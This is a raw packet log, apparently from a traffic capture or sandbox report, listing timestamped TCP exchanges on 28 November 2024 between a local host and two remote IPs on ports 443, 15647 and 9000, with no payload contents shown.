Nov 28, 2024 09:53:36.648138046 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:36.650609970 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:36.669680119 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:36.669745922 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:36.691333055 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:36.710828066 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:36.739896059 CET	49799	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:36.744029999 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:36.745440006 CET	9000	49798	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:36.755012989 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:36.789674997 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:36.789753914 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:36.818269014 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:36.821068048 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:36.821090937 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:36.859978914 CET	9000	49799	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:36.860054970 CET	49799	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:36.860204935 CET	49799	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:36.880332947 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:36.909799099 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:36.909857988 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:36.954621077 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:36.980401039 CET	9000	49799	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:37.005001068 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:37.019668102 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:37.028306007 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:37.028331995 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:37.029798031 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:37.029843092 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:37.112111092 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:37.120336056 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:37.120419979 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:37.149776936 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:37.161287069 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:37.161308050 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:37.167771101 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:37.167788029 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:37.206504107 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:37.220561028 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:37.236124039 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:37.236145020 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:37.239069939 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:37.239078045 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:37.240470886 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:37.240530014 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:37.306519985 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:37.319235086 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:37.319258928 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:37.330558062 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:37.360627890 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:37.376369953 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:37.450891018 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:37.469640017 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:37.496464014 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:37.505064011 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:37.520638943 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:37.520658970 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:37.567544937 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:37.571263075 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:37.612685919 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:37.621678114 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:37.661391020 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:37.661403894 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:37.706489086 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:37.708143950 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:37.755686045 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:37.776103020 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:37.781408072 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:37.814125061 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:37.814142942 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:37.814156055 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:37.814191103 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:37.815495968 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:37.815502882 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:37.815551996 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:37.815556049 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:37.816462994 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:37.816468000 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:37.822309017 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:37.822316885 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:37.833141088 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:37.896099091 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:37.896660089 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:37.916878939 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:37.958138943 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:38.060148001 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:38.060209990 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:38.111622095 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:38.111702919 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:38.138292074 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:38.141812086 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:38.141844988 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:38.180237055 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:38.227129936 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:38.227209091 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:38.231642962 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:38.258948088 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:38.262223005 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:38.262295008 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:38.262312889 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:38.262674093 CET	9000	49799	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:38.262862921 CET	9000	49799	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:38.262952089 CET	49799	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:38.263097048 CET	49799	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:38.273066044 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:38.273080111 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:38.275784016 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:38.275788069 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:38.282118082 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:38.282121897 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:38.282260895 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:38.282264948 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:38.347235918 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:38.347301006 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:38.380880117 CET	49800	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:38.382987022 CET	9000	49799	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:38.390671015 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:38.442521095 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:38.466204882 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:38.467324972 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:38.467387915 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:38.469259024 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:38.469294071 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:38.501157045 CET	9000	49800	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:38.501240015 CET	49800	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:38.501441002 CET	49800	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:38.557840109 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:38.557914972 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:38.587353945 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:38.621259928 CET	9000	49800	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:38.642429113 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:38.677942038 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:38.678114891 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:38.712553024 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:38.715976000 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:38.715998888 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:38.734122038 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:38.738308907 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:38.738416910 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:38.738444090 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:38.741998911 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:38.742122889 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:38.742142916 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:38.742479086 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:38.768075943 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:38.768179893 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:38.787358046 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:38.798207045 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:38.889055967 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:38.889210939 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:38.944988966 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:38.989435911 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:38.996572018 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:39.000097990 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:39.000128984 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:39.009232044 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:39.009324074 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:39.113739967 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:39.113822937 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:39.129241943 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:39.158020973 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:39.161151886 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:39.161173105 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:39.161462069 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:39.197779894 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:39.197983980 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:39.197995901 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:39.198383093 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:39.198461056 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:39.201498032 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:39.201598883 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:39.201617002 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:39.201987982 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:39.234080076 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:39.247334957 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:39.318541050 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:39.318674088 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:39.323937893 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:39.359306097 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:39.363281012 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:39.363326073 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:39.364404917 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:39.444329977 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:39.444700956 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:39.529021025 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:39.532669067 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:39.560415983 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:39.563699007 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:39.563724995 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:39.608107090 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:39.649068117 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:39.650418997 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:39.650563955 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:39.652596951 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:39.692517996 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:39.692538977 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:39.695832014 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:39.695846081 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:39.739368916 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:39.761940002 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:39.765713930 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:39.765731096 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:39.768038988 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:39.770677090 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:39.775000095 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:39.811336040 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:39.851613998 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:39.857409954 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:39.857459068 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:39.865937948 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:39.866072893 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:39.894925117 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:39.905782938 CET	9000	49800	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:39.905962944 CET	9000	49800	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:39.906167030 CET	49800	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:39.906191111 CET	49800	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:39.981005907 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:39.982739925 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:39.985975027 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:40.005445957 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:40.009891987 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:40.009918928 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:40.021773100 CET	49801	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:40.026118994 CET	9000	49800	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:40.055649996 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:40.089452982 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:40.089473963 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:40.102693081 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:40.102755070 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:40.112183094 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:40.140280962 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:40.141693115 CET	9000	49801	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:40.141794920 CET	49801	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:40.149363995 CET	49801	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:40.161264896 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:40.192780972 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:40.192831039 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:40.196562052 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:40.239444017 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:40.239454985 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:40.268054008 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:40.269283056 CET	9000	49801	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:40.269495010 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:40.271192074 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:40.271208048 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:40.271524906 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:40.271529913 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:40.313215971 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:40.341567993 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:40.364927053 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:40.389426947 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:40.389477968 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:40.395658016 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:40.399656057 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:40.399688005 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:40.424865007 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:40.433387995 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:40.473761082 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:40.473870993 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:40.473897934 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:40.509429932 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:40.509505033 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:40.520646095 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:40.526156902 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:40.527437925 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:40.527467012 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:40.566719055 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:40.614376068 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:40.626121044 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:40.629112005 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:40.629525900 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:40.629578114 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:40.671341896 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:40.720052958 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:40.720129013 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:40.749561071 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:40.776988029 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:40.817569017 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:40.827303886 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:40.831003904 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:40.831049919 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:40.869240046 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:40.884725094 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:40.884829998 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:40.911406994 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:40.911452055 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:40.914791107 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:40.914850950 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:40.931472063 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:40.931643009 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:41.005058050 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:41.028389931 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:41.030926943 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:41.031023026 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:41.032062054 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:41.032103062 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:41.032280922 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:41.032300949 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:41.070410013 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:41.074574947 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:41.096661091 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:41.119339943 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:41.140815973 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:41.140909910 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:41.151139975 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:41.242782116 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:41.242882967 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:41.260984898 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:41.271752119 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:41.274987936 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:41.275027990 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:41.361845970 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:41.362047911 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:41.362833023 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:41.441611052 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:41.445272923 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:41.445327044 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:41.471477032 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:41.471743107 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:41.482096910 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:41.489500046 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:41.489522934 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:41.493236065 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:41.499802113 CET	9000	49801	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:41.499948978 CET	9000	49801	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:41.500017881 CET	49801	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:41.500065088 CET	49801	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:41.517465115 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:41.519885063 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:41.519995928 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:41.520015955 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:41.573398113 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:41.576703072 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:41.591732025 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:41.614869118 CET	49802	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:41.620100021 CET	9000	49801	45.141.84.168	192.168.2.4
